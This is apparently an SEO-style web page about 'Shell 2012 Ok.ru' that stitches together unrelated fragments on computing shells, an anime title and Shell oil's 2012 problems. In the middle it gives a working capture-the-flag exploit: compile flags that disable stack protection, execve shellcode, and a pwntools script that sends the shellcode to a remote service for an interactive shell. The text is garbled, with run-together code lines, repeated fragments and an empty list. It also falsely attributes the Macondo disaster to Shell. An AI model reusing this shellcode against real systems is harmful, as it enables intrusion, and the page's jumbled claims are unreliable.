Shell 2012 Ok.ru May 2026

In computing, a "shell" is a user interface for accessing an operating system's services. In 2012, a popular "shell" was Metasploit's Meterpreter shell or simple PHP reverse shells used in ethical hacking. OK.ru, surprisingly, hosts many old tech tutorials from Russian-language hackers.

While Ghost in the Shell is older, in 2012 a specific ARISE version was released. The keyword shell 2012 might be a truncated search for Ghost in the Shell: ARISE.

"Shell" is an ambiguous word. In media, it could refer to:

If this is the film you want, simply searching "Shell 2012 full movie ok.ru" may yield dead links, as content is often removed or accounts are deleted. Instead: shell 2012 ok.ru

Compile a test version:

gcc -z execstack -fno-stack-protector -o shell2012 shell2012.c

Run with:

python2 -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")' | ./shell2012

Outputs $ shell.


Connect via netcat or the challenge service:

nc chall.ok.ru 1337

Send the same shellcode:

#!/usr/bin/env python2
from pwn import *

r = remote('chall.ok.ru', 1337) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" r.send(shellcode) r.interactive() In computing, a "shell" is a user interface

After sending:

$ ls
flag.txt
$ cat flag.txt
FLAGok_ru_shellcode_2012

Despite these successes, Shell faced challenges in 2012. One of the most significant was the ongoing concern over oil spills and environmental impact. Shell was criticized for its handling of oil spills, particularly in Nigeria, where the company faced allegations of not doing enough to prevent spills and mitigate their impact on local communities and the environment. Outputs $ shell

In 2012, Shell also dealt with the aftermath of the Macondo well disaster in the Gulf of Mexico, which occurred in 2010. Although the immediate crisis had passed, the company continued to face legal and financial repercussions.